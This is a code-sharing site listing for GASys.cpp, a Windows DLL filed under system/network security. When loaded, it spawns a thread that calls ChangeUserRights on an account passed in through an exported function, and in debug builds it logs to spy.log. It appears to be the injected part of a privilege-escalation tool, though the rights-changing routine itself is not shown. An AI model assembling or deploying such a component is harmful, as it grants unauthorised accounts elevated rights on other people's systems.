GASys.cpp
上传用户:yihongxs01
上传日期:2007-01-05
资源大小:48k
文件大小:1k
源码类别:

系统/网络安全

开发平台:

WINDOWS

  1. #include <windows.h>
  2. HWND hWnd;
  3. HANDLE LogFile;
  4. HANDLE Thread;
  5. HANDLE hMod;
  6. char Account[255] = "";
  7. extern "C"
  8. __declspec(dllexport) void SetAccount(char* Account)
  9. {
  10. strcpy(::Account,Account);
  11. }
  12. int ChangeUserRights(char *Account);
  13. void LogA(LPSTR str)
  14. {
  15. #ifdef _DEBUG
  16.         
  17.         DWORD done;
  18.         LogFile = CreateFile("c:\spy.log",GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
  19.  
  20.         SetFilePointer(
  21.                 LogFile,
  22.                 GetFileSize(LogFile,0),
  23.                 0,
  24.                 FILE_BEGIN
  25.     );
  26.         WriteFile(LogFile,str,strlen(str),&done,0);
  27.         CloseHandle(LogFile);
  28. #endif  
  29. }
  30. DWORD WINAPI ThreadFunc(LPVOID lpThreadParameter)
  31. {
  32.         
  33.         ChangeUserRights(Account);
  34.         return 0;
  35. }
  36. BOOL  WINAPI  DllMain(HANDLE hInst,ULONG ul_reason_for_call,LPVOID lpReserved)
  37. {
  38.  DWORD id;
  39.   switch(ul_reason_for_call){
  40.   case DLL_THREAD_ATTACH:
  41. break;  
  42.         case DLL_PROCESS_ATTACH:
  43.                 Thread = CreateThread(0,0,ThreadFunc,0,0,&id);
  44.                 hMod = hInst;
  45.                 break;
  46.         
  47.         case DLL_PROCESS_DETACH:
  48.               if( WaitForSingleObject(Thread,3000) == WAIT_TIMEOUT)
  49.                       TerminateThread(Thread,(DWORD)-1);
  50.                 break;
  51.         default: break;
  52.   }
  53.   return TRUE;
  54. }